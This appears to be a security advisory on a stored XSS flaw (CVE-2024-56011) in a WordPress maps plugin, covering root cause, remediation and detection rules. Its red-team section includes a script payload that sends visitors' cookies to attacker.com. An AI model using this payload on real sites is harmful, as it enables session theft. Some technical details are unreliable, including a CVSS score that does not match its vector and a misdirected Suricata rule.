CVE-2024-56011

Executive Summary

CVE-2024-56011 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin "Responsive Google Maps | by imbaa" versions <= 1.2.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject malicious scripts into the plugin's map configuration fields. When other users or visitors view the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or repackaging the plugin with backdoors. Users should verify plugin integrity via checksums and monitor for unauthorized updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (requires authenticated user with map editing capabilities)
• User Interaction: Required (victim must visit the compromised page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access, but the stored nature of the XSS can affect multiple users and persist across sessions.

Deep Dive & Mechanics

The vulnerability exists in the responsive-google-maps plugin, which allows users to embed Google Maps via shortcodes. The plugin fails to sanitize or escape user input when saving map parameters (e.g., map title, description, or custom markers). When the shortcode is rendered, the unsanitized input is injected directly into the HTML output, enabling script execution.

Root Cause: The plugin uses echo or print statements with user-supplied data without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Attack Flow:

1. An attacker with Editor-level privileges navigates to the plugin settings page.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a map field.
3. The payload is stored in the WordPress database.
4. When any user (including lower-privileged users or visitors) views a page containing the map shortcode, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin source):

// In responsive-google-maps.php
function render_map($atts) {
    $title = $atts['title'];
    echo "<div class='map-title'>" . $title . "</div>";
}

Patched Code (recommended):

function render_map($atts) {
    $title = esc_html($atts['title']);
    echo "<div class='map-title'>" . $title . "</div>";
}

The patched version uses esc_html() to neutralize HTML and script tags. Since no official patch exists, users must manually apply this fix or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with "Responsive Google Maps" plugin <= 1.2.5
• Authenticated user with Editor or Administrator role

Steps:

1. Log in to WordPress admin panel.
2. Navigate to the plugin settings (e.g., Settings > Responsive Google Maps).
3. In the "Map Title" field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. Create or edit a page/post and insert the [responsive-google-maps] shortcode.
6. Publish the page and share the link with the victim.

Expected Result: When the victim visits the page, the script executes and exfiltrates their cookies to the attacker's server.

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual changes to plugin settings.
• Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests.
• Scan the database for stored XSS patterns using tools like Wordfence or Sucuri.

Hardening:

• Disable the plugin immediately if not essential.
• Apply a virtual patch via WAF rules (e.g., block requests containing <script> in plugin-specific fields).
• Restrict plugin editing capabilities to trusted administrators only.

Indicators of Compromise (IOCs)

• File System: Modified plugin files (e.g., responsive-google-maps.php) containing unsanitized output functions.
• Database: Entries in wp_options or wp_postmeta containing JavaScript payloads (e.g., <script>, onerror=, onload=).
• Network: Outbound HTTP requests to unknown domains from the WordPress server (cookie exfiltration).
• Logs: Repeated 200 responses to pages containing the map shortcode with unusual query parameters.

Detection Engineering

YARA Rule

rule CVE_2024_56011_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56011"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-56011 Stored XSS in Responsive Google Maps Plugin
id: 8a3f2c1e-5d7b-4a9f-8c6e-1b2d3e4f5a6b
status: experimental
description: Detects stored XSS attempts via plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-admin/options-general.php"
        cs-method: "POST"
        cs-uri-query|contains: "page=responsive-google-maps"
        cs-uri-query|re: ".*(<script|onerror|onload).*"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in map descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56011 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"page=responsive-google-maps"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Remove any stored XSS payloads from the database using a security plugin or manual SQL queries.
3. Change all WordPress admin passwords and revoke sessions for affected users.

Long-Term Fix:

• Apply the code patch shown in the "Vulnerable vs. Patched Code" section.
• Monitor the plugin's official page for updates.
• Consider replacing the plugin with an actively maintained alternative (e.g., "WP Google Maps").

Compensating Controls:

• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a Web Application Firewall (WAF) with XSS protection rules.
• Enforce least privilege for WordPress user roles.

Valters IT
Securing Digital Frontiers